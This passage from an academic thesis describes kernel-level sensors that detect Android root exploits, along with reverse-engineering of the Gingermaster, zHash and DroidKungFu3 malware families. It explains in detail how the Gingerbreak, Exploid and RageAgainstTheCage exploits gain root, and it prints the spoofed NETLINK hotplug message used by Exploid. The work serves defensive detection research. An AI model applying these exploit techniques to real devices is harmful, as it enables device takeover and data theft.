system call to complete successfully, the malware cannot obfuscate the parameters.
Therefore, the kernel can see the malware’s intentions for that system call. By discovering
critical paths that only malware enter inside the kernel, the user may detect or block local
privilege exploits.
Home Contacts Phone Browser Your App
APPLICATIONS
Activity Manager Window Mngr
Telephony Mngr Resource Mngr
Location Mngr
Package Mngr
APPLICATION FRAMEWORK
LIBRARIES RUNTIME
OpenGL
SQLite
FreeType
OpenGL
WebKit
SGL
Dalvik Virtual 
Machine
LINUX KERNEL
WiFi Driver Keypad Driver Camera Driver Audio Driver
Figure 3.1: Diﬀerent Layers of the Android Operating System [2]
3.3.2 Add Sensors Inside Kernel Source Code.
The algorithm located inside the Linux kernel module requires sensors inside the
abused system calls that the malware exploits. The RageAgainstTheCage exploit
generates threads until the device reaches RLIMIT NPROC resource limit. The command
ulimit -u in the Android debugger (ADB) or Android terminal emulator reports the
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maximum number of processes allowed on the device. For the HTC Incredible [18], RATC
only needs to spawn at the most 3,304 threads. The emulator requires 6,656 processes.
Therefore, a sensor in kernel/fork.c will inform the malware detection algorithm when
user-level processes generate new threads. When a process reaches a threshold of over 700
threads, the detection algorithm can log the event and prevent the process from spawning
more processes.
Both Exploid and Gingerbreak send messages using the NETLINK_KOBJECT_
UEVENT protocol. The developers designed the protocol for processes to listen to kernel
events, but not to send messages over the protocol. Only the kernel should send
messages over this link, because other processes assume all the messages come from
inside the kernel. The two exploits send messages over the protocol tricking other (root)
processes to run their malicious code as root. As Google already patched Android
2.4+ from NETLINK_KOBJECT_UEVENT exploits, the malware detection algorithm will
log any processes attempting to send messages using the described protocol. Inside
net/socket.c#sendmsg(), a sensor will inform the detection algorithm of the attempted
intrusion.
3.3.3 Android Operating System.
In this experiment, the detection algorithm runs under the Android 1.6, 2.1, 2.2, 2.3.3,
3.0, 4.3 and 4.4 operating systems. The sensors operate successfully under Linux version
2.x and 3.x. However, the Android emulator expects Linux 2.x. Of note, the latest operating
systems patched themselves from the exploits. The Android versions vulnerable to the three
exploits include:
• Gingerbreak (Android versions ≤ 2.3.3)
• Exploid (Android versions ≤ 2.2), and
• RageAgainstTheCage (Android versions ≤ 2.2.1).
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To determine if an application is malicious, the scripts send the sha1 hash of the
application to VirusTotal [38]. If more than 50% of the sources claim the application as
malware, the research will assume malware. If the sample is malware, The malware report
summaries explain if the application tries to root the phone.
3.4 Testing
To test the accuracy of the sensors, the research proposes the following methodology
(see also Figure 3.2).
1. Create clean Android virtual devices (AVD) for versions 1.6, 2.1, 2.2, 2.3.3, 3.0, 4.3
and 4.4 of the operating system with the detection algorithm running in the kernel.
The AVDs acts as the baseline image for the tests.
2. To ensure a clean baseline, the experiment takes a snapshot at this point for each
AVD. A snapshot preserves the memory and data at the given time of the snapshot.
The test will revert to this snapshot after each experiment.
3. The experiment installs one Android application sample onto the device. The
test knows in advance if the application is root-leveraging via VirusTotal [38].
Therefore, the testing is a single-blind experiment.
4. The experiment executes the application in the AVD. This will allow the detection
algorithm to perform behavior analysis on the application.
5. The application runs for 1 minute. This will ensure each experiment ﬁnishes in a
timely manner. It also opens a vulnerability for timing attacks. In the real-world, the
detection runs as long as the machine is on. If a malicious application chooses to
wait, the detection algorithm will wait as well.
6. The experiment sends the BOOT_COMPLETED message to machine. This simulates a
reboot. Some malware will only run after a reboot.
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7. The experiment waits another minute.
8. At this point, the algorithm reports its ﬁndings. No output means the algorithm
overlooked any attempted root exploits. An entry describes a possible root exploit
and which type of exploit. The experiment compares the result to the true answer.
9. The experiment reverts the snapshot and repeats steps 3-8 until they test all the
samples.
Figure 3.2 shows the above procedures in a ﬂowchart. The ﬂowchart assumes the test
already checked if the application is malicious by sending the SHA1 hash to VirusTotal [38].
Of the applications deemed malicious, the test only inspects malware that tries to gain root
permissions.
Some malware came with anti-forensics techniques. In particular, the malware can
discover the emulator by turning the WiFi component on and oﬀ. As of the testing in 2013,
the emulator runs a broken WiFi component. By WiFi failing, the malware can detect
forensics. Therefore, in order to test the known malware samples, the extracted payload
from the application runs in the emulator. In addition, a dissembler provides information
on the resources the payload requires to run correctly. Chapter 4 describes the process
for reverse-engineering malware to ﬁnd the local privilege escalation code in the diﬀerent
malware families. The chapter also includes how to extract the code and counter additional
anti-forensic techniques employed by the malware.
3.5 Performance Metrics
For the experiment, the null hypothesis is as follows:
H0 = The algorithm does not detect 95% of root-leveraging malware
Ha = The algorithm detects 95% of root-leveraging malware
30
Create a VM Take a snapshot
Install the 
Application
More Apps?
Run 
Application 
For 1 
minute
Reboot 
Machine
Let Run for 
1 Minute
[Yes]
Did Algorithm 
detect rooting?
Was it actually 
rooting?
Was it actually 
rooting?
Report 
Type II 
error
Report 
True 
Positive
Report 
Type I 
error
Report 
True 
Negative
[Yes] [No]
[No] [Yes] [Yes]
[No]
[No]
START
END
Figure 3.2: Testing Flowchart
To reject the null hypothesis and accept the alternative hypothesis, the research
calculates the following metrics which include:
• the algorithm detects rooting applications regardless of the Android OS version,
• probability the algorithm will detect rooting apps correctly (true positive),
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• probability the algorithm will detect non-rooting apss as rooting (false positive/-
type II error),
• probability the algorithm will detect non-rooting apps correctly (true negative),
• probability the algorithm will detect rooting apps as non-rooting (false negative/-
type I error), and
• the algorithm’s detection compared to traditional antivirus.
3.6 Boundaries
For this experiment, all tests run in the Android 1.6, 2.1, 2.2, 2.3.3, 3.0, 4.3 and 4.4
emulators provided by the Android standard development kit (SDK) [5]. The emulator
allows the enterprise servers to run the Android virtual devices via scripts. All three exploits
worked for Android 2.2 (Froyo). The research tests multiple Android operating systems to
ensure the detection works even if the exploit does not. The virtual machines will not
have access to network resources or short message service (SMS). By default, the emulator
enables network communication and SMS.
Because of no access to the Internet, some malware may not run. Indeed, some
malware may detect they are “caged” and refuse to run. If the malware refuses to run,
the algorithm will not detect malicious behavior. To overcome anti-forensic malware, the
adb program runs extracted payload (see Chapter 4). The disassembler (IDA Pro 5) will
provide insight for the payload’s requirements to run independently from the application.
All 379 malware samples collected incorporated their payload as a standalone executable
and linkable format (ELF) 32-bit ARMv5 application.
Inputs to the test include Android applications (non-rooting and rooting) sent one
at a time. Between each application sample, the virtual machine reverts back to baseline.
The application installs and opens. After one minute, the machine reboots. The algorithm
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reports if it detected a rooting exploit. VirusTotal [38] and Malware Genome Project [56]
report in advanced if the application sample should root the virtual machine.
3.7 Workload
For this experiment, the Malware Genome Project [56] provided 1,260 malware
samples. Of those, 379 contained root-level exploits to fully compromise the system.
In conjunction, the experiment tests over 16,000 legitimate applications. The Android
applications will act as the workload. Each emulator runs with the detection algorithm
installed.
The Android emulators run with 1907 megabytes (MB) of random access memory
(RAM), 200 megabytes of storage and one central processing unit (CPU). For Android
versions 3.0 and lower, the CPU emulates ARM version 5 (32-bit). For Android versions
4.3 and later, the CPU emulates ARM version 7 (32-bit). This ensures the CPU will
run the baseline Android emulator for each version. At this time, the Android standard
development tool kit (SDK) emulators have issues with RAM above 778 MB for Windows.
In addition, lower resources simulates an actual phone device and allows for more
emulators to run on the testing servers.
3.8 Summary
As the cost of malware reaches $100 billion a year [44] and Android becomes the
fastest growing area for malware [9], consumers need malware detection. As a result, this
research aims to detect malware trying to leverage root permissions through behavior-
based detection. The detection runs inside the Linux kernel for persistence.
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IV. Reverse-Engineering Analysis
4.1 Introduction
This chapter presents ﬁndings and observations from the manual reverse engineering
process of this experiment. The experiment requires the execution of known malicious
software. Therefore, caution will ensure the experiment keeps the malware inside the
virtual machine.
4.2 Research Contribution
The research discovered two critical paths capable of detecting 100% of the 379
malware samples running Exploid, Gingerbreak or RageAgainstTheCage (RATC). In
addition, the algorithm generated 0% false positive for the 16,577 benign applications. The
next chapter discusses the testing of the malware samples.
As the Android kernel and malware continues to change, new critical paths emerge.
Therefore, this chapter demonstrates how to discover future critical paths from reverse-
engineering malware and how to add sensors to the Android kernel. The design pattern
to detect Exploid, Gingerbreak and RageAgainstTheCage work for other exploits as
well.
4.3 Reverse Engineering Malware
For this research, the experiment requires reverse-engineering three malware families:
Gingermaster, zhash and DroidKungFu3. These malware families utilize the only
(known) jailbreak exploits that malware writers incorporate [56]. As the research
community discovers new jailbreaking techniques, future researchers may follow the below
design procedure to incorporate the capability into the Android’s Linux kernel.
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4.3.1 Android Malware Genome Project.
The Android Malware Genome Project [56] provided 21 malware samples for
reverse engineering. Four of the samples belonged to Gingermaster, six belonged to
DroidKungFu3 and eleven belonged to zHash. Their collections includes over 1,200
malware samples.
4.3.2 Reversing Approach.
Each family of malware analyzed follows a similar reverse-engineering approach. The
ﬁrst step required harvesting. The second step required setting-up a controlled environment
to prevent the malware from propagating. The malware runs inside a virtual machine
operating system with an Android emulator. Before running the Android emulator, the
virtual machine turns oﬀ its network access to blocked network traﬃc to the emulator.
Each instance of malware underwent behavioral analysis inside the Android emulator
[3]. The emulator runs Android 2.2. Certain malware activities generate logs which are
viewable using the Davlik debug monitor service (DDMS). Dex2Jar [11] converted the
malware application to a Java archive (JAR) ﬁle. JD-GUI [13] converted the Java bytecode
to source code. The source code provided static analysis. Malware with local privilege
exploits include ELF ﬁles. IDA-Pro [17] converts machine code to assembly. Running
the malware in the emulator provided dynamic analysis. With online research, behavioral,
static and dynamic analysis running, the malware samples exposed how it copies itself
into the ﬁlesystem, activates its malicious payload and the functionality of the payload.
The following sections explain in further detail the reversing approach for each malware
family.
4.4 Gingermaster Android Malware Family
Shortly after Android developers added an additional boundary check to their volume
daemon (vold) in April 2011, malware writers developed a root exploit to take advantage
of a new vulnerability that the boundary check introduced [43]. The new vold daemon
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handles external storage devices attached to the Android device. Cyber defense teams
discovered Gingermaster for Android in Chinese third-party application markets in
August 2011. Researchers named Gingermaster malware family after the Gingerbreak
exploit which takes advantage of the new vold boundary checking vulnerability. The
vulnerability aﬀects Android version 2.2 (Froyo) and versions 2.3 - 2.3.7 (Gingerbread).
Malware writers repackage Gingermaster malware into popular, legitimate applica-
tions previously available in the oﬃcial Android application market. The actual exploit
resides in the application in the form of a regular image ﬁle named gbfm.png found in
the assets folder of the .apk ﬁle. Gbfm stands for ‘ginger break for me’, and the .png
extension protects the ﬁle from immediate antivirus (AV) software detection [43].
The Gingermaster family of malware performs a variety of functions, not just
obtaining root-level access to the device. The malware collects information from the
device such as the device’s ID and telephone number. The malware attempts to send
it to a remote web server. Once the malware obtains root access, it then remounts the
/system partition as writeable allowing the command and control (C2) servers to install
future utilities on the device. The C2 application can silently re-install Gingermaster if
the user tries to purge the application [21].
4.4.1 Behavioral Analysis Approach and Findings.
The baseline Android virtual device (AVD) to execute Gingermaster applications
should run Android 2.2 (Froyo). Android 2.2 contains the vulnerability Gingermaster
exploits. When installing Gingermaster, the com.igamepower.appmaster package
appears in the installed packages list on the device [53].
With DDMS debugging the Android emulator, the Gingermaster-infected applica-
tion tries to contact its command and control server. The website that the malware tries to
contact no longer exists.
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Despite the malware’s inability to make contact with the command and control server,
DDMS records the activity in the debugger’s log ﬁles. When the application launches,
GameSvc.class creates a new database and attempts to post the database’s information to
the attacker’s website. The application acquires the user identiﬁcation (UID), international
mobile station equipment identity (IMEI), international mobile subscriber identity (IMSI),
SIM Card Number, Device Telephone Number, Network Type and other information
from the device. Then the malware attempts to send that information to its server. The
application attempts multiple times to send the information to its remote server. Since
the server not longer exists, the attempts fail and the malware continues to execute on the
device.
4.4.2 Static Analysis Approach and Findings.
Next, dex2jar [11] converts the Dalvik bytecode to Java bytecode. Then the free
Java Decompiler program jd-gui converts the Java archive to source code. When opening
the Gingermaster.jar ﬁle in the Java Decompiler, the program contained 105 .class
ﬁles. The .class ﬁles which perform most of the application’s functionality are the ﬁrst
12 ﬁles. The malware writers did not obfuscate the names of important ﬁles.
According the the National Cyber Awareness System (CVE-2011-1823), the applica-
tion gains root privileges by exploiting the Gingerbreak privilege escalation vulnera-
bility [32]. This vulnerability takes advantage of the vold volume manager daemon on
Android 2.x. This daemon inherently trusts all messages it receives from a PF NETLINK
socket. This allows local users to execute arbitrary code and gain root privileges via a
negative index that bypasses a max-only signed integer check in the DirectVolume::
handlePartitionAdded method, which triggers memory corruption [32]. The GamerS
ervice.class executes gbfm.png which contained the memory corruption trigger and
payload activation.
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Looking at the top 12 .class ﬁles in the package, the ﬁrst ﬁle of interest is
GameBootReceiver.class. This ﬁle contains the method onReceivewhich requires two
arguments. The Gingermaster family registers system-wide events known as Intents.
By registering for system-wide events, the malware can rely on the built-in support of
automated event notiﬁcations and callbacks to trigger its payloads. Gingermaster-
infected malware utilizes the android.intent.action.BOOT_COMPLETED system event.
This event will trigger when the device ﬁnishes its boot-up process, at which point the
malware’s GameBootReceiver.class creates a new GameService object.
The GameService.class ﬁle performs most of the legwork for this malware
application. The ﬁrst method in this class performs the function of ﬁnding the benign-
looking PNG ﬁles contained within the application’s /assets folder and changing their
extensions to .sh. Later, it changes the SH ﬁles to (UNIX) permissions 775 (rwxrwxr-x)
to provide write and execute privileges. Then, the application executes each SH ﬁle.
By browsing the Gingermaster application as a compressed ZIP ﬁle, the four PNG
ﬁles that GameService.class executes appear. The magic number shows the ﬁles are
executable and linkable format (ELF) ﬁles. IDA Pro translated the ELF ﬁles as compiled
32 bit Acorn RISC machine (ARM) version 5 executables.
According to the national institute of science and technology (NIST) report on Ging
ermaster malware, the payload that performs the rooting capability (Gingerbreak)
is contained within the gbfm.png ﬁle [32]. IDA Pro disassembled the the gbfm.png
machine code. As reported by NIST, Gingermaster executables rely on an exploit within
Android’s volume daemon (vold), the program that automatically mounts CD-ROMs,
universal serial bus (USB) drives and other removable media [32]. They discover during
the research that on April 19, 2011, the Android authors added an extra boundary check
for mPartMinors[] in DirectVolume.cpp which is one of the vold’s source ﬁles. The
part num < MAX PARTITIONS boundary check already presided in the code. The added
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boundary check protects part num < 1. Part num is an integer variable passed within
the PF NETLINK event message which is an argument for the handlePartitionAdded()
function [43].
The code assumes that part num is always greater than or equal to 1. In the
case of negative values passed in, the code will reference the memory location before
mPartMinors[] base pointer. This referenced memory will be overwritten with the values
contained in the variable minor, also passed in with the PF NETLINK event message. By
specifying a negative index value, the attacker may reference and overwrite the memory
belonging to the global oﬀset table (GOT) within the image of the vold executable.
The GOT typically contains stored oﬀsets of the imported application program interfaces
(APIs), which will execute with the same root privileges as the vold process [43].
The function handlePartitionAdded() is only invoked within the vold process
when a hotplug event occurs (media insertion/removal). When this happens, the daemon
that listens to the PF_NETLINK socket receives a packet of data for that event. The gbfm.
png.sh program opens the PF_NETLINK socket and sends invalid parameters in order
to fake a hotplug event. The hotplug event invokes the handlePartitionAdded()
function [43]. Appendix E.2 provides a sequence diagram of how Gingerbreak exploits
the boundary check vulnerability.
Function sub 8F5C performs the mounting of a new device in order to trigger the
handlePartitionAdded() event. Function sub 9144 performs a read on /proc/net/
netlinkwhich provides a list of open PF NETLINK sockets and PIDs of processes that have
those sockets opened. When it ﬁnds the vold process, it changes the global oﬀset table
(GOT) entry strcmp() to system(). The function sub 9B4C, when executed, changes
the owner and group permissions of the shell to Super User ID (SUID) or root, detects
the Android OS version currently running, ﬁnds vold’s GOT and performs the negative
message sending event to the PF NETLINK socket.
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If gbfm.sh executes successfully, then /data/local/tmp/sh runs with root
privileges. The ﬁle runme.png.sh, which contains ARM instructions, ﬁnds the global
oﬀset table (GOT) and compares each value in the table with the value in /system/bin/
sh. If the values are equal, the executable loads the contents of /system/bin/sh onto
the stack, then pops them. The ﬁle provides gbfm.sh helper functions to ﬁnd the correct
functions in the GOT and overwrites them with the system() function.
Next, install.sh and installsoft.sh both run shell scripts. The install.sh
creates a new /app folder in the /system directory and provides the user with ownership
as well as read, write and execute privileges. Installsoft.sh checks to see if the new
/app system directory exists.
Furthermore, the code in the GameService.class ﬁle collects information from the
Android device and attempts to send that information to a web server. The code gathers
the device ID number, the Subscriber ID (SIM) number, the SIM card serial number, the
telephone number, and network type. Then the code sends the data to a command and
control (C2) website. The android virtual device (AVD) log ﬁles previously observed this
behavior in action when the application launched in the Android emulator.
Another method in GameService.class checks the external storage state of the
device for a mounted external secure digital (SD) card. Gingerbreak controls this external
storage to install other packages in the future, as an additional feature of the malware.
Lastly, within GameService.class, the Gingermaster-infected application listens
for four diﬀerent commands from its command and control server. The server will send the
application on the device the command to execute, delete or install a package on the device
or to list all packages currently installed on the device.
4.5 zHash Android Malware Family
In the Chinese and Oﬃcial Android market, malware writers devised a new malware
family in early 2011. This new malware, known as zHash, hid itself as a free language
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translator [45]. Security analysts named the malware zHash, because it leaves a backdoor
root shell at /system/bin/zhash. Several of the discovered malware hid the zHash ﬁle
inside the APK ROOT/res/raw folder.
Before discovery, over ﬁve thousand users downloaded the application from the
oﬃcial Android Market [45]. Since then, Google removed the malware and provided
mechanisms to remove the infection. These methods included remote application removal.
Oddly, the malware only provides a backdoor root shell. The malware will not try
to steal information or turn the device into a botnet. The possibility remains that a second
Trojan may try to leverage the backdoor.
As with the previous example, the tools dex2jar and jd-gui provided means to
examine the Java bytecode. For the exploit code, IDA Pro generated static disassembly of
the advanced RISC machines (ARM) machine code. DDMS provides dynamic debugging of
malware.
The malware contains Acorn RISC machine (ARM) code at APK_ROOT/res/raw/
extend and APK_ROOT/res/raw/zHash. Since Android discourages native code [4], the
ﬁles require investigation. IDA-Pro disassembles the machine code.
A search of the functions and strings in extend led to discovery of the original source
code [14]. The ﬁle extend contained the local root exploit Exploid. Disassembly lead to
discoveries on how the exploit works. Appendix E.1 shows the sequence diagram of how
the exploit spoofs a hotplug event to root the device.
The exploit ﬁrst checks to ensure that the caller placed the root exploit in /sqlite_
stmt_journals, /data/local/tmp or /data/data/com.zft/files/. If /sqlite_
stmt_journals exists, the exploit should reside in that folder. Otherwise, the exploit
should reside in /data/data/com.zft/files/.
Next, the exploit copies itself to sqlite stmt journals with the ﬁlename hotplug
and opens a socket to NETLINK KOBJECT UEVENT. According to the netlink (7) man page
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[24], this socket sends kernel messages to user space. In addition, Linux’s hotplugs [26]
rely on this datalink. The exploit takes advantage of hotplug’s usage on this channel.
Linux utilizes hotplugs to manage removable media [27]. For example, hotplugs
can detect if the user inserted a universal serial bus (USB) thumb drive. In Android,
turning on the WiFi feature triggers the hotplug event. The exploit’s next move requires a
symbolic link from /proc/sys/kernel/hotplug to /sqlite_stmt_journals/data.
Then, the exploit sends the following message via PF NETLINK.
ACTION=add
DEVPATH=/../sqlite_stmt_journal
SUBSYSTEM=firmware
FIRMWARE=../../..sqlite_stmt_journal/hotplug
The next time the user adds a hotplug item, the system will re-run the exploit at
/sqlite_stmt_journals/hotplug. To speed up the process, the Android malicious
application will toggle the wireless feature oﬀ and on. In addition, the malware knows
forensic teams caged the application in an emulator if the WiFi toggle fails. The Android
emulator’s WiFi feature is not fully implemented. After the kernel calls the exploit, the
application will run with an eﬀective userid of 0 (root). From here, the malware
remounts the read-only /system folder with read/write privileges to allow the malware
to copy zHash to /system/zHash with set user identiﬁcation upon execute (setuid) to
root. The zHash ﬁle simply spawns a shell running with root permissions.
For persistence, zHash continues running even after a restart. The malicious
application requests notiﬁcation of android.intent.action.BOOT_COMPLETED and
allows zHash to start itself after a reboot. Any application may execute zHash for backdoor
access to the device.
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4.6 DroidKungFu3 Android Malware Family
As the name implies, exploit writers created this malware as the third iteration of
DroidKungFu. Each iteration adds further sophistication to the Trojan. Figure 4.1 conveys
the changes in the three iterations of this malware family.
DroidKungFu(1) DroidKungFu2 DroidKungFu3
Discovery Date June 2011 July 2011 August 2011
Malicious
Component
com.google.
ssearch
com.eguan.state com.google.update
Embedded Root
Exploits
Exploid (encrypted),
RageAgainstTheCage
(encrypted)
Exploid (plaintext),
RageAgainstTheCage
(encrypted)
Exploid (encrypted),
RageAgainstTheCage
(encrypted)
C2 Servers One hardcoded in Java
as plaintext
Three hardcoded
in native code as
plaintext
Three hardcoded in
Java as ciphertext
(AES)
Embedded Payload Plaintext None Encrypted (AES)
Estimated Number
of Infected Apps
30+ 25+ 38+
Figure 4.1: Evolution of DroidKungFuMalware [22]
As with the previous examples, the tools dex-2-jar and jd-gui provided means to
examine the bytecode. For the exploit code, IDA Pro generated static disassembly of the
advanced RISC machines (ARM) machine code. DDMS provided debugging for dynamic
analysis
The program ran advanced encryption standard (AES) encryption on foobin,
init.db, newint and rawicon. The application decrypted the four ﬁles using AES with a
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hard-coded password inside the same class ﬁle. First, foobin decrypted as an executable.
The executable performed the same operations as Exploid from zHash. Next, init.db
decoded as a Java application resource (JAR).
The init.db ﬁle contained the command and control (C2) part of the Trojan which
sends phone information such as the international mobile equipment identity (IMEI),
operating system and network operator to three C2 servers. The malware sends the
information over the hypertext transfer protocol (HTTP) inside the POST request method.
The malware encrypted the domain name services (DNS) of its C2 servers inside the
application. However, the writers used the same password to decrypt the names of the
servers. Writing a short Java program revealed the names of the C2 servers. The encrypted
C2 server names were inside the RR.class ﬁle (after running dex-2-jar).
Along with Exploid, DroidKungFu3 introduced another local root exploit known as
RageAgainstTheCage [48]. Depending on if the device is running in debug or production
mode, RATC takes advantage of a race condition that prevents the android debugger (ADB) or
zygote process from setting its user identiﬁcation from root to AID SHELL. In Android,
ADB (debug-mode) and zygote (production-mode) are pre-build applications created by
init. They are initialized and contain all the core libraries. When the system needs to
start a new application, the system forks zygote. By copying zygote, the system starts
applications quicker because the system no longer needs to copy shared libraries.
The system only copies the shared libraries if the new process tries to modify the
shared libraries. Therefore, core libraries reside in a single place, because they are read-
only. The strategy saves processing time and memory space. The zygote process typically
contains more libraries than the new application requires in order to “catch-all” diﬀerent
application requirements.
To exploit this, the malicious process forks several processes until the system reaches
RLIMIT_NPROC processes. Appendix E.3 shows the sequence diagram of how RATC
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exploits RLIMIT_NPROC. Linux implemented RLIMIT_NPROC to place a maximum number
of processes that a real user ID may create. In Android, each application is a unique
user to the system. The threshold protects a single application from trashing the system.
Upon encountering this limit, fork(2) fails with errno(3) set to EAGAIN. For the
exploit, RATC’s calls fork(2) until the system call fails with EAGAIN. At this point,
RATC determines the process ID (PID) of ADB or zygote and kills the process. Now the
system contains RLIMIT NPROC − 1 running processes. Upon notiﬁcation of zygotes’s
termination, the system will restart zygote.
At this point in RATC’s exploit, RATC races to spawn RLIMIT NPROC processes
before zygote calls setuid(2). If the exploit wins, zygote will not handle the failed
setuid(2) command and continue to run with root permissions. When the system forks
new zygote processes, they will all spawn with root privileges.
The exploit terminates its instances and fork’s another version of itself. Now the
exploit runs with an eﬀective user identiﬁcation of root. With root privileges, the exploit
follows a similar pattern as Exploid. The program remounts the /system folder from
read-only to read/write. The exploit then creates a ﬁle called /system/bin/sh with the
setuid bit set to root.
By subscribing to BOOT_COMPLETED, the malware runs during startup. At startup, the
applications veriﬁes that the com.google.update.UpdateService application exists.
UpdateService is the C2 application. If not, the malware relaunches the local root
exploits.
4.7 Summary of Findings
Figure 4.2 provides a summary of the malware. All three families are Trojans, because
they disguise themselves as a legitimate applications. Conversely, they operate under
diﬀerent methods of operations. Gingermaster disguises itself as several repackaged
applications. Trojan zHash disguises itself as a stand alone free language translator. No
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known repackaged version of zHash exist at this time. DroidKungFu3 disguises itself as
an oﬃcial Google update module. The installation method is known as an update attack,
because the application appears to be a legitimately released update. All three families
were available in the Oﬃcial Android Market. In addition, all three families are available
in third-party Chinese application markets which appeal to the Chinese population because
they are blocked from the oﬃcial Android market [10].
Gingermaster zHash DroidKungFu3
Discovery Date April 2011 Early 2011 August 2011
Local Root
Exploit
Gingerbreak Exploid Exploid, RATC
C2 Servers 1 0 3
Obfuscation File Extension and
File Name
Obfuscation
File Name
Obfuscation
AES Encrypted
(Exploit and C2 APK
File)
Malware Type Trojan
(Repackaged App)
Trojan
(Standalone App)
Trojan
(Update Module)
Persistence BOOT COMPLETED BOOT COMPLETED BOOT COMPLETED,
BATT, SYS
Figure 4.2: Summary of the three malware families
The installation methods of each application are also very similar, but DroidKungFu3
has an important diﬀerence. When the user installs and launches each of the three infected
applications, they all register with the device for system events. All three families register
for the BOOT COMPLETED system event which notify registered applications of reboots.
Upon a device reboot all three applications automatically start as a running daemon in
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the background. DroidKungFu3 also registers for two other system events, namely BATT
and SYS. Several circumstances such as BATTERY LOW and SIM FULL trigger BAT and SYS.
DroidKungFu3 has 10 diﬀerent events that will initiate its services. The large number of
registered events ensure that the application launches quickly and often once installed on
the device.
The three malware families carry payloads designed to obtained root-level access
with diﬀerent vulnerabilities. The summary below explains the diﬀerent vulnerabilities the
malware families employed to root the device. In addition, the summary explains some
the obfuscation techniques the malware employs to avoid detection.
1. Gingermaster’s exploit, called Gingerbreak, resides in APK_ROOT/assets/
gbfm.png ﬁle. The game service changes gbfm.png to a SH extension and executes
this code. Gbfm.png is an executable and linkable format (ELF) ﬁle that exploits a
vulnerability in the Android’s volume daemon creating a memory overwrite in the
Global Oﬀset Table to obtain root-level privileges on the device. The game service
also sends its command and control server device and user account information.
Lastly, it remounts the system partition to writeable and listens for commands from
its C2 server to install, run, delete and list packages.
2. zHash’s exploit, called Exploid, resides in APK_ROOT/res/raw/extend. The
application launches and executes the ﬁle containing the exploit. The exploit moves
to sqlite_stmt_journals and renames itself to hotplug. Then the malware sends
a message to init via NETLINK KOBJECT UEVENT. The message states that init
should run /sqlite_stmt_journals/hotplug as root at the next hotplug event.
The malware will also invoke a hotplug event to trigger this activity. Finally, the
malware remounts the /system partition with write privileges, likely for future use
once the malware successfully rooted the device.
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3. DroidKungFu3 contains two local root exploits, Exploid, which resides in the ﬁle
foobin, and RageAgainstTheCage or RATC, which resides in the ﬁle rawicon.
The zHash section discussed Exploid’s exploitation technique, but RATC takes
advantage of a race condition to obtain a process with root privileges. Once the
malware obtains root-level privileges, the process installs an application contained
in the ﬁle init.db which handles the communication with the C2 servers. The
malware writer(s) AES encrypted each ﬁle that contained the root-level exploits,
but the writers hard-coded the password within the rr.class ﬁle. At the time of
this study, no other Android malware family leverages AES encryption to protect
their C2 instructions and servers within the code. The malware also remounts the
/system partition as writable for future package installs and sends user and device
information to its servers.
4.8 Malware Detection Set-Up
This section describes the how to set up the malware detection algorithm on Android.
The discussion covers the process to install the sensors, the speed of the sensors, and testing
procedures. Of note, the sensors install under all current versions of Android and Linux
versions 2.26 and 3.13.
4.8.1 Create Android Emulator Using Android Virtual Device Manager.
The Android virtual device manager (AVDM) allows creating multiple VMs of
diﬀerent Android operating systems. As of the writing of this thesis, the AVDM included
Android 1.6 (Donut) through 4.4 (KitKat). In addition, the AVDM allows each Android
virtual device (AVD) to swap out kernels with the command line. Android devices allow
users to swap kernels using recovery mode. The following command will launch an AVD
called Android-2.2 with a custom Linux kernel (usually called zImage after compiling).
$ emulator -avd Android-2.2 -kernel /path/to/zImage -show-kernel
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4.8.2 Installing the Sensors.
Appendix C explains in detail where to place the sensors. In order to detect
RageAgainstTheCage (RATC), the sensor needs to track all newly created processes.
When an application executes a fork bomb, the sensor reports the application to sylog
(located at /proc/kmsg in Android).
Gingerbreak and Exploid both rely on the same critical path. The sensor must track
all sendmsg(2) requests. When the sensor detects an unprivileged process trying the send
a message via NETLINK_KOBJECT_UEVENT, the sensors report the application to syslog.
In both situations, the latest Android operating system and Linux kernels protect the
user from the mentioned local root exploits. If the user runs Android version 2.2 (Linux
kernel 2.6.29), the three vulnerabilities succeed. The sensors reside in the same place for
Linux kernel 2.6.29 as 3.13. In the case of 2.6.29, the user may modify the sensor to
prevent the exploit. From January 1 to January 8, 2014, 22.5% of the unique users visiting
the Google Play Store application ran Android versions between 2.2 and 2.3.7 [6]. The
Google Play Store does not support Android versions older than Android 2.2, but versions
older than Android 2.2 account for about 1% of devices that checked in to Google servers
in August 2013.
4.8.3 Speed of the Sensors.
This section discusses the speed of the sensors inside the kernel. The test measures
the speed of the sensors in asymptotic notation. Nanosecond timing proved invalid for
several reasons. Because the tests ran with malware, the malware could interfere with
timing mechanisms inside the Android operating system. The malware samples root the
Android kernel. Therefore, all messages from the kernel lacked credibility. In addition,
the Android virtual device (AVD) executed inside an Ubuntu 12.04 virtual machine on a
Windows 8.1 host machine. With three layers of virtual machine abstraction between tested
kernel and actual hardware, several environmental factors created discrepancies between
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the runs. The timings changed during runs by up to 30 seconds. Since the sensors run
in nanoseconds, 30 second variances could not provide accurate results. To keep the
malware from propagating outside the lab, the kernel could not run on physical hardware.
By running the malware on the Android emulator inside an Ubuntu virtual machine with
no network connectivity or peripherals, the malware lacked access to other systems. On
a physical device, the malware could turn on Wiﬁ, near ﬁeld communication (NFC), or
Bluetooth after rooting the phone. In addition, the sensors included too few operations
for accurate timing techniques provided by the kernel. The function ktime_get_ts()
inside the kernel, which provides nanosecond accuracy, contains more instructions than the
sensors. Furthermore, the additional instructions to compare the time diﬀerence between
two function calls to ktime_get_ts() would add further variance to the nanosecond
timing of the sensors.
Asymptotic notation determined the limiting behavior of each sensor. The results look
strictly at the additional complexity of the sensor. For the ﬁrst sensor, which resides in
fork.c and detects RATC, Equation 4.1 shows the asymptotic notation of the algorithm.
O (n)
Ω (1)
(4.1)
The value of n is the number of processes the malicious application forked to reach
RLIMIT_NPROC. Therefore, n ≤ RLIMIT_NPROC where RLIMIT_NPROC is bounded by [20,
∞). For the Android emulator, the goldfish kernel sets RLIMIT_NPROC default value
to 6,656. Only root or a user with CAP_SYS_RESOURCE token may change this value.
Because fork bombs usually have the parent and children spawn processes, the fork bomb’s
processes data structure becomes a binary tree. Therefore, the speed is usually O(log n).
Under worst case (only the child process ever runs), the process data structure becomes a
linked list, and the sensor runs in O(n). For benign applications which do not reach their
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RLIMIT_NPROC quota, they never reached the sensor’s critical path. Therefore, the sensor
runs in constant time for benign applications.
Next, the sensor in socket.c detects Gingerbreak and Exploid. The sensor
operates in constant time. In other words, the algorithm operates independently of any
input to the algorithm. Input will not increase function growth for the sensor. Equation 4.2
shows the asymptotic notation of the algorithm.
O (1)
Ω (1)
Θ (1)
(4.2)
When inspecting the asymptotic quantiﬁcation of memory, both sensors’ memory
